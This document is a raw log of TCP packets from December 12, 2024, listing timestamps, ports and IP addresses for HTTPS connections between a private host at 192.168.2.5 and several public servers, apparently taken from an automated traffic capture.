Dec 12, 2024 12:09:32.799515963 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:32.799587011 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:32.799781084 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:32.799796104 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:32.890985012 CET	49772	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:32.891042948 CET	443	49772	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:32.891163111 CET	49772	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:32.891360998 CET	49772	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:32.891372919 CET	443	49772	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:32.921122074 CET	49773	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:32.921173096 CET	443	49773	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:32.921256065 CET	49773	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:32.921844006 CET	49773	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:32.921855927 CET	443	49773	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.036638021 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.036773920 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.036854029 CET	49745	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.036922932 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.036988974 CET	49745	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.044701099 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.044713020 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.044805050 CET	49745	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.052870989 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.052984953 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.053071976 CET	49745	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.053299904 CET	49745	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.053324938 CET	443	49745	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.336174965 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.336710930 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.336780071 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.336816072 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.336993933 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.337011099 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.337846041 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.337928057 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.338017941 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.338067055 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.339142084 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.339231014 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.340733051 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.340826988 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.340886116 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.340904951 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.340996981 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.341008902 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.410866022 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.410871983 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.764532089 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:33.765949965 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.766041994 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.766094923 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.766680956 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.766740084 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.766803026 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.774003029 CET	49763	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.774030924 CET	443	49763	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.774346113 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:33.774357080 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:33.774549961 CET	49764	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:33.774575949 CET	443	49764	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:33.775496006 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:33.775566101 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:33.839843035 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:33.839976072 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:33.840359926 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:33.840378046 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:33.911465883 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:33.927043915 CET	443	49769	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.927473068 CET	49769	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.927512884 CET	443	49769	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.928647995 CET	443	49769	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:33.929410934 CET	49769	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:33.929584026 CET	443	49769	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:34.000184059 CET	49769	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:34.009205103 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.009494066 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.009515047 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.010550022 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.010608912 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.011744022 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.011806011 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.012084961 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.012093067 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.017611027 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.017879963 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.017906904 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.018387079 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.018399000 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.018459082 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.018466949 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.018508911 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.019275904 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.020653963 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.020749092 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.020833969 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.028599977 CET	49773	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.029194117 CET	49769	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:34.029278040 CET	443	49769	3.33.186.135	192.168.2.5
Dec 12, 2024 12:09:34.029320002 CET	49769	443	192.168.2.5	3.33.186.135
Dec 12, 2024 12:09:34.029540062 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.029592037 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.029735088 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.030839920 CET	49772	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.031205893 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.031234980 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.031460047 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.033376932 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.033401966 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.033606052 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.033621073 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.033869982 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.033899069 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.034054995 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.034084082 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.034085989 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.034416914 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.034426928 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.034454107 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.034482956 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.034754992 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.034766912 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.034820080 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.035300016 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.035310984 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.035469055 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.035487890 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.035578012 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.035586119 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.035681009 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.035691977 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.067332029 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.075330973 CET	443	49772	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.075342894 CET	443	49773	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.077445984 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.077553988 CET	443	49771	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.077707052 CET	49771	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.100214958 CET	443	49772	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.100280046 CET	49772	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.108114004 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.108127117 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.128721952 CET	443	49773	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.128798008 CET	49773	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.128818035 CET	443	49773	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.128878117 CET	49773	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.199799061 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.199891090 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.199959993 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.200911045 CET	49766	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:34.200952053 CET	443	49766	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:34.311259985 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.343507051 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.343528986 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.343657017 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.343883991 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.343928099 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.343981981 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.344201088 CET	49791	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.344212055 CET	443	49791	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.344449997 CET	49792	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:34.344460964 CET	443	49792	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:34.697613001 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.701325893 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.701390982 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.701415062 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.712821960 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.712912083 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.712930918 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.722197056 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.722264051 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.722274065 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.734766960 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.734889030 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.734899998 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.748450994 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.748513937 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.748526096 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.762075901 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.762129068 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.762137890 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.822438955 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.822530031 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.822560072 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.822582006 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.822623014 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.830858946 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.892304897 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.893376112 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.893392086 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.900638103 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.903673887 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.903753042 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.903764009 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.903806925 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.908907890 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.920663118 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.926130056 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.926139116 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.934292078 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.938153028 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.938164949 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.946491003 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.947995901 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.948007107 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.959997892 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.960073948 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.960084915 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.973676920 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.973743916 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.973753929 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.987154007 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.990128040 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:34.990142107 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:34.999867916 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.001805067 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.001816034 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.011527061 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.011590958 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.011599064 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.023757935 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.023824930 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.023833036 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.035059929 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.038126945 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.038137913 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.046794891 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.048232079 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.048240900 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.071630955 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.072221994 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.072232008 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.073730946 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.074104071 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.074115992 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.082654953 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.084686041 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.084693909 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.090197086 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.092734098 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.092741966 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.097919941 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.100130081 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.100137949 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.105464935 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.108445883 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.108455896 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.113018990 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.113075018 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.113082886 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.120719910 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.120775938 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.120785952 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.128070116 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.128143072 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.128153086 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.136368990 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.136420965 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.136435032 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.143184900 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.143239021 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.143248081 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.153101921 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.153150082 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.153158903 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.158390999 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.158476114 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.158485889 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.165716887 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.168179989 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.168190002 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.173336983 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.173434973 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.173444033 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.180778980 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.180954933 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.180963993 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.188369036 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.188481092 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.188488960 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.197338104 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.197416067 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.197423935 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.203411102 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.203458071 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.203468084 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.213234901 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.213279009 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.213288069 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.224862099 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.224911928 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.224920034 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.226634026 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.226902008 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.226908922 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.232858896 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.232943058 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.232950926 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.240529060 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.240633965 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.240642071 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.242531061 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:35.243002892 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:35.243036032 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:35.243442059 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:35.244086027 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.245549917 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.246588945 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.246800900 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.247948885 CET	49765	443	192.168.2.5	172.217.19.193
Dec 12, 2024 12:09:35.247956991 CET	443	49765	172.217.19.193	192.168.2.5
Dec 12, 2024 12:09:35.248508930 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.248528004 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.248596907 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.248675108 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.248701096 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.248848915 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.248862028 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.249206066 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.249586105 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.249661922 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.249947071 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.250020027 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.250097036 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.250519037 CET	49783	443	192.168.2.5	162.159.61.3
Dec 12, 2024 12:09:35.250710011 CET	443	49783	162.159.61.3	192.168.2.5
Dec 12, 2024 12:09:35.251116037 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.251142025 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.251393080 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.251404047 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.251538038 CET	49787	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.251604080 CET	443	49787	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.251619101 CET	49782	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.251691103 CET	443	49782	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.251884937 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.251939058 CET	49786	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.252018929 CET	443	49786	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.252207041 CET	443	49784	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.252269030 CET	49784	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.252414942 CET	49785	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:09:35.252501011 CET	443	49785	172.64.41.3	192.168.2.5
Dec 12, 2024 12:09:35.252759933 CET	49784	443	192.168.2.5	172.64.41.3
